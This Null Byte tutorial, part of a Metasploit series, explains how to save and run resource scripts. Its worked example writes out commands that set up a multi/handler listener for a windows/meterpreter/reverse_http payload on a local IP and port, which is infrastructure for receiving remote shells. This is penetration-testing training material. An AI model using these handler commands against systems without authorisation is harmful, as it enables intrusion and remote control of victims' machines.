Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files) « Null Byte :: WonderHowTo

Welcome back, my budding hackers!Inthis series, I have been trying to familiarize you with the many features of the world's best framework for exploitation, hacking, and pentesting, Metasploit. There are so many features, and techniques for using those features, that few pentesters/hackers are aware of all of them.Many times, when doing a pentest/hack, we need to run a number of Metasploit commands repeatedly. These commands may be exactly the same each time, and just like scripting, we may need to automatically run multiple Metasploit commands in a single step. Metasploit has the capability to save and store these "scripts," and they can then be recalled by the script name. Metasploit calls these scripts resource files.For example, in many attacks, we need to set up a multi/handler to connect to when a payload is executed on a target system. In my newPowersploit series, or with theweb delivery Metasploit module, we will always need to set a multi/handler to receive the connections from a sent payload. This usually involves several commands: using the multi/handler, setting the port, setting the payload, setting the IP, an so on. To make things easier, we can store all of these commands in a resource file and simply run a single command to execute all of them.Now that you have a better idea of when these would be useful, let's take a look at Metasploit's scripting capabilities with resource files.Step 1: Exploring Resource Scripts in MetasploitFirst, let's take a look at where Metasploit store its scripts. Let's navigate to/usr/share/metasploit-framework/scripts/resources, and then do along listing.kali > cd /usr/share/metasploit-framework/scripts/resourcekali > ls -lAs you can see, Metasploit has numerous scripts already developed and stored here. Any new script that we write will be stored here as well.Step 2: Writing Our Own Resource ScriptNow let's create our own simple script to start a multi/handler necessary to receive connections, such as we used in thefirst Powersploit tutorial. First, start Metasploit, then enter the commands we want in our script.kali > msfconsolemsf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_httpmsf > set LHOST 192.168.181.128msf > set LPORT 4444When we have completed all of the commands we want in the script, we simply use the keywordmakercfollowed by the name of the script. For instance, here I named the script,handler_http.rc(a multi/handler for HTTP followed by the Metasploit extension for resource files,rc).msf > makerc handler_http.rcMetasploit now saves each of those commands into that script file.Step 3: Checking the Script ContentsIf we want to see want commands are in a script file, we can use one of the many commands in Linux to display the contents of a file, such ascat,less, andmore. Here, I usedmorefollowed by the resource file name.msf > more handler_http.rcNotice that Metasploit now displays the commands in my script file,handler_http.rc.Step 4: Executing Our New Script FileWhen we want to execute this script, we simply precede the script name with the keywordresourcesuch as:msf > resource handler_http.rcMetasploit will now run each of the commands in our script automatically. Now simply typeexploitto start our handler.msf > exploitStep 5: Checking Whether It Was SavedIf we go back to the location where the scripts are stored, we can see that our new script,handler_http.rc, is now stored with the other Metasploit prepackaged scripts.Step 6: Starting the Script Automatically with MetasploitIf we know before starting Metasploit that we will be using a particular script, we can have Metasploit automatically execute the script upon starting. We do this by starting Metasploit with themsfconsolecommand, the-rswitch, and followed by the name of the resource file we want to execute upon opening, such as:kali > msfconsole -r handler_http.rcNow, when Metasploit starts, it will automatically execute thehandler_http.rcscript, and you are ready to go.Keep coming back, my budding hackers, as we explore the tools and techniques of the most important and valuable skill of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Hack Your Neighbor with a Post-It Note, Part 2 (Setting Up the Attack)Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking Simulations